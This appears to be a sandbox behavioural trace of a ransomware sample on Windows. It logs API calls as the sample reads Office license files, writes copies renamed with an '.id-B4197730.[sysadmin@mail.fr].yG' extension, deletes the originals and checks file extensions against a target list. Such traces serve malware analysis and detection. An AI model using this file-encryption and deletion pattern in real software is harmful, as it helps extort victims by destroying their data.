	[0169.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.930] lstrlenW (lpString=".1cd") returned 4
	[0169.930] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.930] lstrlenW (lpString=".jpg") returned 4
	[0169.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.931] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11589) returned 1
	[0169.931] CloseHandle (hObject=0x574) returned 1
	[0169.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220
	[0169.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.933] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.933] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0169.934] GetLastError () returned 0x0
	[0169.934] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0169.936] WriteFile (in: hFile=0x38c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0169.937] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.937] WriteFile (in: hFile=0x38c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0169.938] SetEndOfFile (hFile=0x38c) returned 1
	[0169.938] CloseHandle (hObject=0x38c) returned 1
	[0169.938] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.938] SetEndOfFile (hFile=0x574) returned 1
	[0169.941] CloseHandle (hObject=0x574) returned 1
	[0169.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.943] lstrlenW (lpString=".doc") returned 4
	[0169.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.943] lstrlenW (lpString=".docx") returned 5
	[0169.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.943] lstrlenW (lpString=".pdf") returned 4
	[0169.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString=".xls") returned 4
	[0169.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString=".xlsx") returned 5
	[0169.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.944] lstrlenW (lpString=".ppt") returned 4
	[0169.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.944] lstrlenW (lpString=".zip") returned 4
	[0169.944] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString=".rar") returned 4
	[0169.944] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString=".bz2") returned 4
	[0169.944] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString=".7z") returned 3
	[0169.944] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.944] lstrlenW (lpString=".dbf") returned 4
	[0169.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.944] lstrlenW (lpString=".1cd") returned 4
	[0169.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0169.944] lstrlenW (lpString=".jpg") returned 4
	[0169.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.945] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=12416) returned 1
	[0169.945] CloseHandle (hObject=0x574) returned 1
	[0169.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220
	[0169.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.947] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.947] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0169.948] GetLastError () returned 0x0
	[0169.948] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x3080, lpOverlapped=0x0) returned 1
	[0169.951] WriteFile (in: hFile=0x38c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x3090, lpOverlapped=0x0) returned 1
	[0169.952] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.952] WriteFile (in: hFile=0x38c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0169.952] SetEndOfFile (hFile=0x38c) returned 1
	[0169.952] CloseHandle (hObject=0x38c) returned 1
	[0169.952] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.953] SetEndOfFile (hFile=0x574) returned 1
	[0169.956] CloseHandle (hObject=0x574) returned 1
	[0170.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1
	[0170.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.122] lstrlenW (lpString=".doc") returned 4
	[0170.122] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".docx") returned 5
	[0170.122] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.122] lstrlenW (lpString=".pdf") returned 4
	[0170.122] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".xls") returned 4
	[0170.122] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".xlsx") returned 5
	[0170.122] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.122] lstrlenW (lpString=".ppt") returned 4
	[0170.122] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.122] lstrlenW (lpString=".zip") returned 4
	[0170.122] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".rar") returned 4
	[0170.122] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".bz2") returned 4
	[0170.122] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.122] lstrlenW (lpString=".7z") returned 3
	[0170.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.123] lstrlenW (lpString=".dbf") returned 4
	[0170.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.123] lstrlenW (lpString=".1cd") returned 4
	[0170.123] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0170.123] lstrlenW (lpString=".jpg") returned 4
	[0170.123] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.124] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10627) returned 1
	[0170.124] CloseHandle (hObject=0x56c) returned 1
	[0170.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220
	[0170.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.125] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.126] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0170.127] GetLastError () returned 0x0
	[0170.127] ReadFile (in: hFile=0x56c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0170.191] WriteFile (in: hFile=0x578, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0170.192] ReadFile (in: hFile=0x56c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.192] WriteFile (in: hFile=0x578, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0170.192] SetEndOfFile (hFile=0x578) returned 1
	[0170.193] CloseHandle (hObject=0x578) returned 1
	[0170.193] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.193] SetEndOfFile (hFile=0x56c) returned 1
	[0170.196] CloseHandle (hObject=0x56c) returned 1
	[0170.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1
	[0170.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.199] lstrlenW (lpString=".doc") returned 4
	[0170.199] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.199] lstrlenW (lpString=".docx") returned 5
	[0170.199] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.199] lstrlenW (lpString=".pdf") returned 4
	[0170.200] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString=".xls") returned 4
	[0170.200] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString=".xlsx") returned 5
	[0170.200] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.200] lstrlenW (lpString=".ppt") returned 4
	[0170.200] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.200] lstrlenW (lpString=".zip") returned 4
	[0170.200] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString=".rar") returned 4
	[0170.200] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString=".bz2") returned 4
	[0170.200] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString=".7z") returned 3
	[0170.200] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.200] lstrlenW (lpString=".dbf") returned 4
	[0170.200] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.200] lstrlenW (lpString=".1cd") returned 4
	[0170.200] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0170.200] lstrlenW (lpString=".jpg") returned 4
	[0170.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.201] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19919) returned 1
	[0170.201] CloseHandle (hObject=0x578) returned 1
	[0170.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220
	[0170.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0170.202] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.202] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.203] GetLastError () returned 0x0
	[0170.203] ReadFile (in: hFile=0x578, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0170.327] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0170.329] ReadFile (in: hFile=0x578, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.329] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0170.329] SetEndOfFile (hFile=0x48c) returned 1
	[0170.329] CloseHandle (hObject=0x48c) returned 1
	[0170.330] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.330] SetEndOfFile (hFile=0x578) returned 1
	[0170.334] CloseHandle (hObject=0x578) returned 1
	[0170.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1
	[0170.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.336] lstrlenW (lpString=".doc") returned 4
	[0170.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString=".docx") returned 5
	[0170.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.336] lstrlenW (lpString=".pdf") returned 4
	[0170.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString=".xls") returned 4
	[0170.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString=".xlsx") returned 5
	[0170.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.336] lstrlenW (lpString=".ppt") returned 4
	[0170.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.336] lstrlenW (lpString=".zip") returned 4
	[0170.336] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString=".rar") returned 4
	[0170.336] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.336] lstrlenW (lpString=".bz2") returned 4
	[0170.337] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.337] lstrlenW (lpString=".7z") returned 3
	[0170.337] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.337] lstrlenW (lpString=".dbf") returned 4
	[0170.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.337] lstrlenW (lpString=".1cd") returned 4
	[0170.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0170.337] lstrlenW (lpString=".jpg") returned 4
	[0170.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.338] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11612) returned 1
	[0170.338] CloseHandle (hObject=0x578) returned 1
	[0170.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220
	[0170.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0170.340] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
